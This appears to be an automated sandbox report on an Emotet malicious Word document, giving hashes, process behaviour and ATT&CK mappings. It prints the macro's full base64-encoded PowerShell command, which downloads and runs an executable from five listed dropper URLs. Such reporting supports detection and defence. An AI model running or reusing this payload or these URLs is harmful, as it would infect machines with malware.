0cc941f700b9a29f40bca3fe91fec9cf249a54298b419521d147c0ca64ceb8e9

General

Target
emotet_e2_0cc941f700b9a29f40bca3fe91fec9cf249a54298b419521d147c0ca64ceb8e9_2020-08-18__124035._doc.doc
Size 175KB
Sample200818-th7egbcqks
SHA256 0cc941f700b9a29f40bca3fe91fec9cf249a54298b419521d147c0ca64ceb8e9
MD5 b833b3bd078c155764171868563be584
SHA1 c11fe4282311b3abe650081d5b723268eafdb28e
SHA512 73348ede2bb9b97072c226cb2d8febb731bafc4f4b2c99b49c31dd47739158c9c4a33ad4e18d4f63ffe7773b7b7a5c4423456353072dac7cc692df3b5231efba
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://52550750-56-20180826151453.webstarterz.com/savewayexpressthai.com/jnze_2o3j_k/
exe.dropper
http://oubaina.com/wp-includes/lqkz_nvr_1avf4/
exe.dropper
https://www.msbc.kz/data/k527_5_cbdvv5bi19/
exe.dropper
http://okcupidating.com/im/fsq_esj_qgx060p/
exe.dropper
http://bike-nomad.com/cgi-bin/7n_0x0_62mnzyh9q/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3736	732	powersheLL.exe	66

Blacklisted process makes network request 1 IoCs

flow	pid	Process
24	3736	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3736	powersheLL.exe
3736	powersheLL.exe
3736	powersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3736	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE
424	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_0cc941f700b9a29f40bca3fe91fec9cf249a54298b419521d147c0ca64ceb8e9_2020-08-18__124035._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:424

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAGcAbwB1AF8ANQAxAD0AKAAnAFEAdAA3ACcAKwAnADEAJwArACcAdABsADUAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBwAFwATwBGAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQByAGkAVAB5AGAAUAByAE8AVABgAE8AQwBgAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIAJwArACcALAAgACcAKwAnAHQAbABzACcAKwAnADEAMQAsACAAdABsAHMAJwApADsAJABRAGEAawBmAG8AMABxACAAPQAgACgAJwBaADAAJwArACcAZgB2ADMAawBiAGcAJwApADsAJABCAHIAdgAzADUAcgBzAD0AKAAnAEUANgBoACcAKwAnADQAJwArACcAbgBrAG4AJwApADsAJABFAGMAOQB3ADQAZQAwAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBOACcAKwAnADMAcABPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AE4AMwAnACsAJwBwACcAKQAuACIAcgBlAGAAUABsAGAAQQBjAEUAIgAoACcATgAzAHAAJwAsAFsAcwBUAHIAaQBOAGcAXQBbAEMASABhAFIAXQA5ADIAKQApACsAJABRAGEAawBmAG8AMABxACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABaAF8AagBqAGkAMwBtAD0AKAAnAE8AZwBwADUAJwArACcANwB3ACcAKwAnAGoAJwApADsAJABZADcAagBtAHgAegA4AD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABJAG4AbgBlAHcAYwBfAD0AKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8ANQAnACsAJwAyACcAKwAnADUAJwArACcANQAnACsAJwAwACcAKwAnADcANQAwAC0ANQAnACsAJwA2ACcAKwAnAC0AMgAwADEAOAAwADgAMgAnACsAJwA2ADEANQAxACcAKwAnADQANQAnACsAJwAzACcAKwAnAC4AdwBlACcAKwAnAGIAcwB0AGEAcgB0AGUAJwArACcAcgB6ACcAKwAnAC4AYwAnACsAJwBvAG0ALwBzAGEAJwArACcAdgAnACsAJwBlAHcAYQB5AGUAeABwAHIAZQBzAHMAdABoAGEAaQAnACsAJwAuACcAKwAnAGMAbwBtAC8AagAnACsAJwBuACcAKwAnAHoAZQBfADIAbwAnACsAJwAzAGoAXwBrAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAG8AdQBiAGEAaQBuAGEALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAJwAtAGkAJwArACcAbgBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvAGwAcQBrAHoAXwBuACcAKwAnAHYAcgBfACcAKwAnADEAYQAnACsAJwB2AGYANAAvACoAaAAnACsAJwB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAHcAdwB3AC4AbQBzAGIAYwAnACsAJwAuAGsAegAnACsAJwAvAGQAYQB0AGEALwBrACcAKwAnADUAJwArACcAMgA3AF8ANQAnACsAJwBfAGMAYgAnACsAJwBkAHYAdgA1AGIAaQAxADkALwAqAGgAdAB0AHAAOgAvAC8AbwAnACsAJwBrACcAKwAnAGMAJwArACcAdQAnACsAJwBwAGkAJwArACcAZABhAHQAaQBuAGcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAnAGkAbQAvACcAKwAnAGYAcwBxACcAKwAnAF8AZQAnACsAJwBzACcAKwAnAGoAJwArACcAXwAnACsAJwBxACcAKwAnAGcAJwArACcAeAAwADYAJwArACcAMABwAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAaQBrAGUALQBuAG8AbQAnACsAJwBhAGQALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgAnACsAJwBpACcAKwAnAG4ALwA3AG4AXwAwACcAKwAnAHgAJwArACcAMABfADYAMgBtACcAKwAnAG4AegAnACsAJwB5ACcAKwAnAGgAJwArACcAOQAnACsAJwBxAC8AJwApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEYAZQA4AG4AZQBnADQAPQAoACcASwAnACsAJwB5ACcAKwAnAG0AcgB3ADkAdwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABNAHMAdQBvAG4AaAA4ACAAaQBuACAAJABJAG4AbgBlAHcAYwBfACkAewB0AHIAeQB7ACQAWQA3AGoAbQB4AHoAOAAuACIARABvAFcAYABOAEwAbwBBAGQAYABGAGkAYABMAEUAIgAoACQATQBzAHUAbwBuAGgAOAAsACAAJABFAGMAOQB3ADQAZQAwACkAOwAkAFUAaQAzAGwANAA5AGcAPQAoACcARABvACcAKwAnAGgAeABiACcAKwAnAHoAZwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQARQBjADkAdwA0AGUAMAApAC4AIgBsAEUAbgBnAGAAVABoACIAIAAtAGcAZQAgADMAMQA0ADUAMQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABFAGMAOQB3ADQAZQAwACkAOwAkAEMAdwBpAG8AXwBoADUAPQAoACcARQAnACsAJwA2AHYAcAA3AHYAdwAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYQB5ADUAMABsAGsAPQAoACcAUABoADEAMABnACcAKwAnAGIAMQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANwB0AG0AbgBrADQAPQAoACcAWQBlAHcAYwB3ACcAKwAnADgAJwArACcAawAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/424-0-0x00007FFE30550000-0x00007FFE30C16000-memory.dmp

Download

memory/3736-8-0x00007FFE28960000-0x00007FFE2934C000-memory.dmp

Download

memory/3736-9-0x000001F6BFE10000-0x000001F6BFE11000-memory.dmp

Download

memory/3736-10-0x000001F6D8130000-0x000001F6D8131000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads